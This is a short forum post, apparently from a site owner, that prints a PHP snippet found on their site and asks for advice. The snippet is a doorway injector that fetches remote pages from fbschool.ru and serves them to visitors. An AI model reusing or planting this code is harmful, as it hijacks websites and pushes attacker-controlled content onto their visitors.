Code: Select all
$key = array_search('', $_GET); if ($key == 'test') { $url_server = "http://fbschool.ru/door/test1.ru"."/".$key.".php"; } else { $url_server = "http://fbschool.ru/door/".str_replace('www.', '', $_SERVER[ 'SERVER_NAME' ])."/".$key.".php"; } //перевірка на то чи існує файл дора $Headers = @get_headers($url_server); if(strpos($Headers[0], '200')) { function get_curl ($url, $n) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $content); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 600); if ($n==0){ curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);} $output = curl_exec ($ch); curl_close ($ch); return $output; } function get_fsockopen ($url, $n) { $post=""; $u = parse_url($url); if( $fp = fsockopen($u['host'],!empty($u['port']) ? $u['port'] : 80 )){ $headers = 'POST '. $u['path'] .' HTTP/1.0'. "\r\n"; $headers .= 'Host: '. $u['host'] ."\r\n"; if ($n==0){ $headers .= 'User-Agent: ' . $_SERVER['HTTP_USER_AGENT'] . "\r\n"; } $headers .= 'Content-type: text/html' . "\r\n"; $headers .= 'Content-length: ' . strlen($post) . "\r\n"; $headers .= 'Connection: Close' . "\r\n\r\n"; $headers .= $post; fwrite($fp, $headers); $ret = ''; while( !feof($fp) ){ $ret .= fgets($fp,1024); } $html = substr($ret,strpos($ret,"\r\n\r\n") + 4); fclose($fp); } return $html; } if( function_exists("curl_init") ) { //берем сторінку дора $page_host = get_curl($url_server, 0); $page_host_arr = explode("\r\n", $page_host); for ($i=4;$i<=count($page_host_arr);$i++) $page_host_tmp .= $page_host_arr[$i]."\r\n"; //берем сторінку шелла $page = get_curl($page_host_arr[0], 1); } else { $page_host = get_fsockopen($url_server, 0); $page_host_arr = explode("\r\n", $page_host); for ($i=4;$i<=count($page_host_arr);$i++) $page_host_tmp .= $page_host_arr[$i]."\r\n"; $page = get_fsockopen($page_host_arr[0], 1); } //вирізаємо всі непотрібні теги $page = preg_replace('//i', '', $page); $page = preg_replace('//i', '', $page); $page = preg_replace('//i', '', $page); $page = preg_replace('/ ", $page, 1); //вставка контенту $page = preg_replace('//', " $page_host_tmp", $page, 1); echo $page; exit; }
What steps should I take?
Any advice would be appreciated.